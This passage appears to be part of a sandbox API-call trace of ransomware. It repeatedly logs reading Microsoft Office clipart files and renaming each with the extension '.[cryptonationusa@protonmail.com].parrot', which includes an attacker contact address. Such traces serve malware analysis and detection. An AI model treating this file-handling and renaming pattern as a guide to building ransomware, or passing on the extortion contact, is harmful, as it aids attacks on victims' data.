lpOverlapped=0x0) returned 1 [0149.369] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.369] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x634, lpOverlapped=0x0) returned 1 [0149.370] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.370] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x74c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.370] CloseHandle (hObject=0x27c) returned 1 [0149.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.377] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x80e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.377] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.377] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.378] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.379] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7fce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7fce, lpOverlapped=0x0) returned 1 [0149.380] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.382] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x80e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.382] CloseHandle (hObject=0x27c) returned 1 [0149.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.388] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1334, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.388] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.388] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.390] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.390] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x121c, lpOverlapped=0x0) returned 1 [0149.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.391] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1334, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.392] CloseHandle (hObject=0x27c) returned 1 [0149.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.438] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4160, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.438] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.438] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.439] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.440] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4048, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4048, lpOverlapped=0x0) returned 1 [0149.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.443] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4160, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.443] CloseHandle (hObject=0x27c) returned 1 [0149.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.448] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x741, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.448] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.448] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.450] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.450] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x629, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x629, lpOverlapped=0x0) returned 1 [0149.450] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.451] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x741, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.451] CloseHandle (hObject=0x27c) returned 1 [0149.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.459] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8740, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.459] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.459] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.461] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.461] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8628, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8628, lpOverlapped=0x0) returned 1 [0149.464] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.464] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8740, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.464] CloseHandle (hObject=0x27c) returned 1 [0149.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.469] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7fa8, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.469] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.469] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.471] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.471] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7e90, lpOverlapped=0x0) returned 1 [0149.474] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.475] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7fa8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.476] CloseHandle (hObject=0x27c) returned 1 [0149.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.502] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x212d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.502] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.502] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.508] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.509] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x211bb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x211bb, lpOverlapped=0x0) returned 1 [0149.515] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.522] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x212d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.522] CloseHandle (hObject=0x27c) returned 1 [0149.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.527] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa31a, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.527] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.527] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.529] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.529] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa202, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa202, lpOverlapped=0x0) returned 1 [0149.534] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.535] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa31a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.535] CloseHandle (hObject=0x27c) returned 1 [0149.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.541] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.541] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.541] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.543] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18be, lpOverlapped=0x0) returned 1 [0149.543] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.544] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.544] CloseHandle (hObject=0x27c) returned 1 [0149.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.550] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dac, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.550] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.550] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.552] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.552] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c94, lpOverlapped=0x0) returned 1 [0149.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.553] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.554] CloseHandle (hObject=0x27c) returned 1 [0149.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.559] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.559] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.561] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0149.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.567] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.567] CloseHandle (hObject=0x27c) returned 1 [0149.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.574] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.574] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.576] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0149.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.580] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.580] CloseHandle (hObject=0x27c) returned 1 [0149.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.588] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x187c, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.588] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.589] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.596] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.596] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1764, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1764, lpOverlapped=0x0) returned 1 [0149.598] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.598] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x187c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.599] CloseHandle (hObject=0x27c) returned 1 [0149.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.605] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d20, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.605] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.605] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.607] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.607] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, 